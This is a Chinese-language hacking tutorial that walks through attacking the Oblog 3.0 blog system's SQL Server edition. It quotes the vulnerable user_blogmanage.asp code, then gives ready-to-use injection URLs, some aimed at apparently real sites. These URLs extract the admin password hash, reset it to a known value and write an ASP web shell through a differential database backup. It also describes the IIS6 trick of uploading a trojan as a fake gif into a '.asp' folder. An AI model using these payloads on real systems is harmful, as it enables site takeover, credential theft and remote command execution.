看過第六輪黑防實驗室的兩位大俠對Oblog3.0 Access版本的滲透過程,敬佩之情猶如滔滔江水連綿不絕,又如黃河之水一發而不可收拾,尤其是他們把社交工程學原理利用得淋漓盡致,以及巧妙的後台上傳shell的方法。佩服,佩服。說了這麼多廢話,我們進入正題,本人在通讀Oblog3.0代碼的時候發現user_blogmanage.asp檔案存在安全隱患,看看下面移動blog日誌的作業碼:
sub moveblog()
if id="" then
Oblog.adderrstr("請指定要移動的日誌")
Oblog.showusererr
exit sub
end if
dim subjectid
subjectid=trim(request("subject"))
if subjectid="" then
Oblog.adderrstr("請指定要移動的目標專題")
Oblog.showusererr
exit sub
else
subjectid=Clng(subjectid)
end if
if instr(id,",")>0 then
‘如果id變數中含有逗號,去掉變數中的空格,執行下面的sql語句。設為第一條
id=replace(id," ","")
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql
‘否則執行這個sql語句,設為第二條。
else
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql
end if
Oblog.Execute sql
dim blog,rs1
set blog=new class_blog
blog.userid=Oblog.logined_uid
blog.update_allsubjectid()
blog.update_index_subject 0,0,0,""
set blog=nothing
set rs=Oblog.execute("select subjectid from Oblog_subject where userid="&Oblog.logined_uid)
while not rs.eof
set rs1=Oblog.execute("select count(logid) from Oblog_log where Oblog_log.subjectid="&rs(0))
Oblog.execute("update Oblog_subject set subjectlognum="&rs1(0)&" where Oblog_subject.subjectid="&rs(0))
rs.movenext
wend
set rs=nothing
set rs1=nothing
Oblog.showok "更新專題成功,需要重新發布首頁,才可使專題統計準確!",""
end sub
再看看檔案最上面對id變數的過濾:id=Oblog.filt_badstr(trim(Request("id"))),只用了這條語句,函數代碼如下:
public function filt_badstr(str)
If Isnull(Str) Then
filt_badstr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"")
filt_badstr = Replace(Str,"'","''")
end function
只去掉了\0和單引號,呵呵,這怎能阻止我們的注入攻擊呢,找個使用Oblog3.0 SQL版本的網站牛刀小試一下:構造環境測試語句:http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=@@version)--,一定要注意語句最後面的”'”,否則不會成功的。
以上注入我們選擇的是第一條語句,多了限制條件,就是不能使用空格且提交的語句中要含有逗號。我們可以使用/**/來代替空格。由於限制條件多,以下測試中我們控製程序執行第二條語句。進一步環境刺探:
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name()>0--
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。
嘿嘿,測試成功,由於注入語句中不能包含單引號,身經百戰的我們當然很容易饒過這條限制,我喜歡使用SQL中的char函數饒過,正好手頭有研究動易系統時寫的char編碼工具,先看看Oblog資料庫的表結構,在Oblog_admin表中我們感興趣的只有id,username和password欄位,先暴出admin使用者或者id唯一的管理員帳號的密碼來瞧瞧:
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where id=1)--或者
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e))--
其中char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e)是對提交的admin使用char函數的編碼。返回結果。
我們先記下這個加密的字串,在恢複管理員密碼的時候需要再次使用。修改後台管理員的密碼:
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1;update [Oblog_admin] set password= char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) where id=1--
其中的char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)% 2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63) %2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) 是469e80d32c0559f8字串的編碼,469e80d32c0559f8對應的md5明文為admin888,對字串的編碼可以使用如下的工具。
當然大家也一定都有比著更好的工具。這樣我們就將後台id為1的管理員的密碼修改為admin888了,注意id為1的管理員對應的帳號預設為admin如果你不確定,可以使用如下的語句查看:
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select username from Oblog_admin where id=1)—
修改完畢,登入一下後台看看是否成功修改管理員密碼。good,我們已經拿到了後台系統管理權限了,爽哉。不要高興的太早了,雖然我們進入了後台但是SQL版本不同於Access版本,前期兩位大俠介紹的通過備份資料庫擷取WebShell的方法在SQL版本上是行不通的,看看 admin_database.asp的如下代碼大家就明白了:
dim dbpath
dim ObjInstalled
if not IsObject(conn) then link_database
if is_sqldata=0 then dbpath=server.mappath(db)
如果使用的是Access版本才初始化dbpath參數的。
在這裡我給大家介紹幾種SQL版本擷取WebShell的方法。
先說說第一種比較通用的方法吧,利用SQL SERVER的特性,方法有通過xp_cmdshell,利用OLE對象介面,利用sp_makeWebtask,通過增量備份等等的方法。利用這些方法的一個必要的條件:Web實體路徑我們可以從背景管理首頁中輕鬆擷取。關於具體注入語句大家可以參看uploadshell.exe中的相關代碼。在實現中注意處理掉其中的單引號。程式可以自動擷取IE中的cookie資訊。故無須填寫cookie資訊。
關於利用後台功能上傳shell,確實把我難為了半天,想得頭都大了,剛開始方法是天使娃娃他們的想法是一樣的添加個shtm上傳檔案類型,將conn.asp包含進去,這樣只能看到資料庫連接資訊,如果對方裝有防火牆或者許可權不很高的話也不能擷取shell,後來就想出添加aaspsp/和asp/上傳檔案類型,這樣通過修改資料包提示上傳成功,但是卻沒有真的上傳成功了,很是鬱悶。假期期間,也沒有那麼多時間去尋找原因了,這時候忽然看到了在後台可以設定使用者目錄的,這時候突然記得網上曾經流傳著對於windows2003系統和IIS6.0假設的Web平台有個特性,就是**.asp虛擬目錄下的任何副檔名的檔案都會被作為asp檔案被解釋執行的,想到這裡差點興奮的跳起來,嘿嘿。請看操作:在後台常規設定|使用者目錄管理中建立一個**.asp的目錄。並將這個目錄設定成為預設的目錄,如上圖所示。然後到網站去註冊一個新的使用者,然後進入管理中心,選擇相簿,上傳一個asp木馬的假gif檔案。這樣當我們訪問這個gif檔案的時候IIS會將此檔案作為asp檔案解析,我在本機使用Access版本做了測試發現能夠把檔案上傳上去。但是在對SQL版本測試時發現並不能正確上傳檔案到這個目錄的,出現如下的錯誤資訊:
ADODB.Stream 錯誤 '800a0bbc'
寫入檔案失敗。
/inc/Upload.inc,行 312
雖然不能成功,但這卻是我們後台上傳木馬的好方法,因為大部分asp整站程式在後台都允許後台修改上傳目錄的,比如動易系統等。沒辦法,我們只能使用第一種方法了,開工。
第一步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000);select @a=db_name();select @s=0x77006F006B0061006F002E00620061006B00;backup database @a to disk=@s--
注意了,在語句中一定不能含有單引號的,
第二步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;create table [dbo].[llikz] ([cmd] [image])—
第三步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;insert into llikz(cmd) values(0x3C25657865637574652872657175657374282261222929253E)—
注意其中0x3C25657865637574652872657175657374282261222929253E為
第四步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000) select @a=db_name();select @s=0x66003a005c0062006c006f00670032003000300035005c0062006c006f0067007300650072007600650072005c006c006c0069006b007a002e00610073007000;backup database @a to disk=@s WITH DIFFERENTIAL—
其中的 0x66003a005c0062006c006f00670032003000300035005c0062006c006f0067007300650072007600650072005c006c006c0069006b007a002e00610073007000 是在後台得到的Web的實體路徑。